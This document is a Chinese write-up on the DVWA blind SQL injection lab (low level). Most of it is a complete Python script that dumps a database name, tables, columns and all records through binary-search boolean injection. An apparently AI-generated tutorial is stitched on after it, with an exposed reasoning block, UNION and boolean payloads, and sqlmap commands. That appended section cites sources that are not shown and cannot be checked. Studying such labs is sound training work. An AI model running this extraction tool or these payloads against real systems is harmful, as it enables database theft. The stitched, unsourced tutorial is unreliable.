DVWA - SQL Injection (Blind) (low)

本文介绍了一种使用二分法进行SQL盲注攻击的方法,详细展示了如何通过构造特定的SQL查询来获取数据库名称、表数量、表名、字段数量、字段名及数据记录。

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low

从数据库名到所有记录,用二分写了一遍。

import requests
import urllib
import json


class SqlHacker(object):

    """docstring for SqlHacker"""

    def __init__(self, post=False, inject_point_number=False):
        super(SqlHacker, self).__init__()
        self.min_record_count = 0
        self.max_record_count = 100
        self.min_value_len = 0
        self.max_value_len = 128
        self.min_char = 0
        self.max_char = 255
        self.min_column_count = 1
        self.max_column_count = 20
        self.min_column_name_len = 1
        self.max_column_name_len = 50
        self.min_table_num = 0
        self.max_table_num = 100
        self.min_table_name_len = 1
        self.max_table_name_len = 50
        self.min_db_name_len = 1
        self.max_db_name_len = 50
        self.inject_point_number = inject_point_number
        self.post = post


    def get_db_name(self, url, data, inject_key, success_str, headers):
        db_name = ''
        if self.inject_point_number:
            payload = "1 and length(database())>%d"
        else:
            payload = "1' and+length(database())>%d#"
        L = self.min_db_name_len
        R = self.max_db_name_len
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % M
            if self.post:
                res = requests.post(url, data=data, headers=headers)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        database_name_len = L
        for x in xrange(1, 1 + database_name_len):
            if self.inject_point_number:
                payload = "1 and (select ord(mid(database(),%d,1)))>%d"
            else:
                payload = "1' and (select ord(mid(database(),%d,1)))>%d#"
            L = self.min_char
            R = self.max_char
            while  L < R:
                M = (L + R) / 2
                data[inject_key] = payload % (x, M)
                if self.post:
                    res = requests.post(url, data=data, headers=headers)
                else:
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M + 1
                else:
                    R = M
            db_name += chr(L)
        return db_name


    def get_table_count(self, db_name, url, data, inject_key, success_str, headers):
        if self.inject_point_number:
            payload = "1 and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d"
        else:
            payload = "1' and (select count(*) from information_schema.TABLES where TABLE_SCHEMA='%s')>%d#"
        L = self.min_table_num
        R = self.max_table_num
        while L < R:
            M = (L + R) / 2
            data[inject_key] = payload % (db_name, M)
            if self.post:
                res = requests.post(url, data=data, headers=headers)
                print(data)
            else:
                res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_tables(self, db_name, table_count, url, data, inject_key, success_str, headers):
        tables = []
        for x in xrange(0, table_count):
            table_name_len = 0
            L = self.min_table_name_len
            R = self.max_table_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>0#" % (db_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            table_name_len = L
            table_name = ''
            for i in xrange(1, 1 + table_name_len):
                L = self.min_char
                R = self.max_char
                while  L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='%s' limit %d,1),%d,1))>%d#" % (db_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                table_name += chr(L)
            print(table_name)
            tables.append(table_name)
        return tables


    def get_column_count(self, db_name, table_name, url, data, inject_key, success_str, headers):
        L = self.min_column_count
        R = self.max_column_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s')>%d#" % (db_name, table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_columns(self, db_name, table_name, column_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, column_count):
            L = self.min_column_name_len
            R = self.max_column_name_len + 1
            while L + 1 < R:
                M = (L + R) / 2
                data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>0#" % (db_name, table_name, x, M)
                res = requests.get(url + urllib.urlencode(data), headers=headers)
                if success_str in res.content:
                    L = M
                else:
                    R = M
            column_name_len = L
            column_name = ''
            for i in xrange(1, 1 + column_name_len):
                L = self.min_char
                R = self.max_char
                while L < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='%s' and TABLE_NAME='%s' limit %d,1),%d,1))>%d#" % (db_name, table_name, x, i, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M + 1
                    else:
                        R = M
                column_name += chr(L)
            print(column_name)
            ret.append(column_name)
        return ret


    def get_record_count(self, table_name, url, data, inject_key, success_str, headers):
        L = self.min_record_count
        R = self.max_record_count
        while L < R:
            M = (L + R) / 2
            data[inject_key] = "1' and (select count(*) from %s)>%d#" % (table_name, M)
            res = requests.get(url + urllib.urlencode(data), headers=headers)
            if success_str in res.content:
                L = M + 1
            else:
                R = M
        return L


    def get_records(self, table_name, columns, record_count, url, data, inject_key, success_str, headers):
        ret = []
        for x in xrange(0, record_count):
            single_record = {}
            for column_name in columns:
                L = self.min_value_len
                R = self.max_value_len
                while L + 1 < R:
                    M = (L + R) / 2
                    data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>0#" % (column_name, table_name, x, M)
                    res = requests.get(url + urllib.urlencode(data), headers=headers)
                    if success_str in res.content:
                        L = M
                    else:
                        R = M
                value_len = L
                value = ''
                for i in xrange(1, 1 + value_len):
                    L = self.min_char
                    R = self.max_char
                    while L < R:
                        M = (L + R) / 2
                        data[inject_key] = "1' and ord(mid((select %s from %s limit %d,1),%d,1))>%d#" % (column_name, table_name, x, i, M)
                        res = requests.get(url + urllib.urlencode(data), headers=headers)
                        if success_str in res.content:
                            L = M + 1
                        else:
                            R = M
                    value += chr(L)
                single_record[column_name] = value
                print(value)
            ret.append(single_record)
        return ret


def main():
    headers = {
        'Cookie': 'PHPSESSID=jb7d875vs8rlusttoadfi1m4l5; security=low'
    }
    data = {
        'Submit': 'Submit'
    }
    url = 'http://192.168.67.22/dvwa/vulnerabilities/sqli_blind/index.php?'
    inject_key = 'id'
    success_str = 'exists'
    sql_hacker = SqlHacker()
    db_name = sql_hacker.get_db_name(url, data, inject_key, success_str, headers)
    table_count = sql_hacker.get_table_count(db_name, url, data, inject_key, success_str, headers)
    print(table_count)
    tables = sql_hacker.get_tables(db_name, table_count, url, data, inject_key, success_str, headers)
    for table in tables:
        column_count = sql_hacker.get_column_count(db_name, table, url, data, inject_key, success_str, headers)
        columns = sql_hacker.get_columns(db_name, table, column_count, url, data, inject_key, success_str, headers)    
        record_count = sql_hacker.get_record_count(table, url, data, inject_key, success_str, headers)
        records = sql_hacker.get_records(table, columns, record_count, url, data, inject_key, success_str, headers)
        records = json.dumps(records)
        h = open('%s.json' % table, 'w')
        h.write(records)
        h.close()


if __name__ == '__main__':
    main()

针对low写好后,想改成更为通用的版本,待续。。

<think>我们正在讨论DVWA中的SQL注入攻击。根据用户提供的引用,特别是引用[1]和[2],我们知道DVWASQL注入关卡分为不同安全级别(LOW, MEDIUM, HIGH, IMPOSSIBLE),并且攻击方法包括UNION注入、ERROR注入(针对非盲注)以及BOOLEAN盲注(针对盲注)。同时,引用[3]和[4]提到了一些防御措施,比如限制查询结果数量(LIMIT 1)以及分离查询提交页面和结果页面来防御自动化工具(如sqlmap)。 用户要求了解DVWASQL注入攻击的步骤和原理详解。我们将按照以下结构进行回答: 1. SQL注入原理简介 2. DVWA SQL Injection(非盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 3. DVWA SQL Injection (Blind)(盲注)攻击步骤(针对LOW, MEDIUM, HIGH级别) 4. 防御措施分析(IMPOSSIBLE级别) 注意:在描述攻击步骤时,我们将结合引用[2]中的示例(获取dvwa数据库的所有表名)以及其他常见的注入技术。 由于引用中提到了使用手工注入和sqlmap,但TIME注入耗时太久未采用,因此我们将重点放在UNION注入、ERROR注入和BOOLEAN盲注上。 开始回答:</think>### DVWA SQL注入攻击步骤与原理详解 DVWA(Damn Vulnerable Web Application)是一款专为安全测试设计的漏洞演练平台。以下针对其SQL注入漏洞(非盲注/盲注)的攻击步骤与原理进行详解,结合LOW、MEDIUM、HIGH安全级别的实践方法,并引用相关技术点[^1][^2][^3][^4]。 --- #### **一、SQL注入原理** **核心漏洞**:攻击者通过篡改输入参数,破坏原始SQL语句结构,执行恶意查询。 **数学表达**: 设原始查询为: $$Q = \text{SELECT * FROM users WHERE id = } \color{red}{\text{'$input'}}$$ 当输入为 `1' UNION SELECT 1,table_name FROM information_schema.tables#` 时,实际执行语句变为: $$Q_{\text{malicious}} = \text{SELECT * FROM users WHERE id = '1' UNION SELECT 1,table_name FROM information_schema.tables#'}$$ 导致数据库返回敏感信息(如表名、字段值)。 --- #### **二、非盲注攻击步骤(SQL Injection)** 适用于页面直接返回查询结果的场景。 ##### **1. LOW级别** **漏洞点**:未过滤用户输入,直接拼接SQL语句[^1]。 **攻击步骤**: 1. **探测列数**(UNION注入前提): ```sql 1' ORDER BY 3# -- 尝试列数,直到报错(如ORDER BY 4报错则列数为3) ``` 2. **联合查询获取数据**(引用[2]示例): ```sql 1' UNION SELECT 1,table_name FROM information_schema.tables WHERE table_schema='dvwa'# ``` - `1` 为占位符,匹配原始查询列数 - `information_schema.tables` 为系统表,存储所有表名 - `table_schema='dvwa'` 限定目标数据库 ##### **2. MEDIUM级别** **漏洞点**:输入参数改为数字型(无引号),但未过滤[^3]。 **攻击步骤**: 1. **绕过数字型检测**: ```sql 1 UNION SELECT 1,GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='dvwa'# ``` - 无需闭合引号,直接拼接UNION ##### **3. HIGH级别** **漏洞点**:分离查询与结果页面(防自动化工具),但未过滤输入[^4]。 **攻击步骤**: 1. **利用Burp Suite绕过页面分离**: - 拦截查询请求 → 修改参数为注入语句 → 转发获取响应 ```sql 1' UNION SELECT user,password FROM users# ``` - 通过结果页面查看敏感数据(如密码哈希值) --- #### **三、盲注攻击步骤(SQL Injection Blind)** 适用于页面无直接数据返回,但可通过布尔或时间差异判断结果。 ##### **1. BOOLEAN盲注(常用)** **原理**:根据页面返回内容差异(真/假)推断数据。 **攻击步骤**(以获取数据库名为例): 1. **判断数据库名长度**: ```sql 1' AND LENGTH(DATABASE())=4# -- 若页面返回正常,则库名长度为4 ``` 2. **逐字符猜解**: ```sql 1' AND SUBSTRING(DATABASE(),1,1)='d'# -- 验证首字母是否为'd' ``` - 使用 `SUBSTRING()` 或 `MID()` 函数截取字符 ##### **2. sqlmap自动化利用** **适用场景**:手工注入效率低时(如MEDIUM/HIGH级别)。 **命令示例**: ```bash sqlmap -u "http://dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=xxx; security=medium" \ --batch --dbs ``` - `--dbs`:列举所有数据库 - `--tables -D dvwa`:列举dvwa库的所有表 > **注意**:HIGH级别因页面分离需配合Burp抓包(`--proxy=http://127.0.0.1:8080`)[^4]。 --- #### **四、防御机制分析(IMPOSSIBLE级别)** **安全代码原理**: 1. **预处理语句(Prepared Statements)**: ```php $stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id"); $stmt->bindParam(':id', $id, PDO::PARAM_INT); // 强制类型为整数 ``` - 输入参数与SQL逻辑分离,杜绝拼接 2. **Token验证**: - 每次提交需携带CSRF Token,阻止自动化工具重放攻击[^3] --- ### 总结 | 安全级别 | 注入方式 | 关键技巧 | |----------|-------------------|-----------------------------------| | LOW | UNION/ERROR注入 | 闭合单引号,联合查询系统表[^2] | | MEDIUM | 数字型UNION注入 | 省去引号,直接UNION | | HIGH | 工具绕过+手工注入 | Burp Suite拦截修改请求[^4] | | IMPOSSIBLE | 防御生效 | 预处理语句+Token验证 | > 实践提示: > - 非盲注优先用UNION查询(高效) > - 盲注推荐BOOLEAN注入(避免耗时TIME注入)[^1] > - 遇到页面分离时,手动工具结合(Burp+sqlmap)
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